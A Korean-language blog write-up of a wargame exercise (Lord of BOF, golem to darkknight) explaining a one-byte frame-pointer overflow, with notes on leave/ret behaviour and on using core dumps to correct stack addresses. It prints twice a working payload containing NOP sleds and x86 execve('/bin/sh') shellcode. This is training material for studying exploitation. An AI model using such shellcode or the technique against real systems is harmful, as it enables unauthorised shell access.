0. Payload
/home/golem/darkknight `python -c "print '\xc8\xfb\xff\xbf'+'\x90'*32+'\xc4\xfb\xff\xbf'+'\x14'+'\x90'*59+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*75"`
1. 개념
1) 1 byte overflow란?
스택 프레임 안에 ebp 주소 1byte 변조 가능 시, ebp 값이 4byte+shellcode 참조 주소를 가르키도록 하여 shellcode 실행하는 기법이다.
2) core dump란?
프로그램이 비정상 종료 시점에서 프로세스 메모리를 dump한다. 이를 분석하여 프로그램이 죽는 원인을 파악할 수 있다.
2. 문제 풀이
1) CODE
2) SOLUTION
코드 분석 시, problem_child() 안에 buffer 문자열이 stack으로 41byte 들어감을 알 수 있다.
41byte가 들어가므로써 ebp값이 user input 값을 통해 변조된다.
ebp값은 main()의 stack frame 시작 주소이다. ebp는 이전 함수의 ebp+return address를 가르킨다.
main()는 problem_child()호출 후, leave, ret 명령어를 실행한다.
leave 명령어 mov esp, ebp pop ebp |
ret 명령어 pop eip jmp eip |
그러므로 변조된 ebp 값이 4byte+shellcode참조주소(4byte)를 가르키도록 해야한다.
stack에는 삽입한 인자값이 들어가므로, 그 값을 이용한다.
payload
/home/golem/darkknigha `python -c "print '\xc8\xfb\xff\xbf'+'\x90'*32+'\xc4\xfb\xff\xbf'+'\x14'+'\x90'*59+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'+'\x90'*75"` |
하지만 darkknight를 동일한 payload를 이용하여 실행 시, 에러가 발생한다.
원인은 stack 공간의 변경 때문이다. gdb로 프로그램 실행한 것과 달리, 직접적인 프로그램 실행 시에는 낮은 kernel version과 gdb로 프로그램 실행 시 추가되는 환경변수로 인해 stack 공간이 변경된다.
정확한 주소 입력을 위해 프로그램 종료 시, memory를 dump하는 core를 이용하여 메모리 주소 확인할 수 있다.
스택을 분석하여 참조 값 확인이 가능하다. 변조된 ebp가 의도하지 않은 값을 가르키는 것을 알 수있다.
4byte+shellcode를 참조하도록 값을 변경하여 shell 획득이 가능하다.
'HACKING_GAME > SYSTEM' 카테고리의 다른 글
LOB#1 gate (0) | 2020.07.19 |
---|---|
PWNABLE#7 input (0) | 2020.05.14 |
LOB#6 check length of argv[1] + egghunter + bufferhunter (wolfman -> darkelf) (0) | 2020.05.10 |
LOB#4 egghunter (goblin -> orc) (0) | 2020.04.26 |
PWNABLE#3 bof (0) | 2020.04.26 |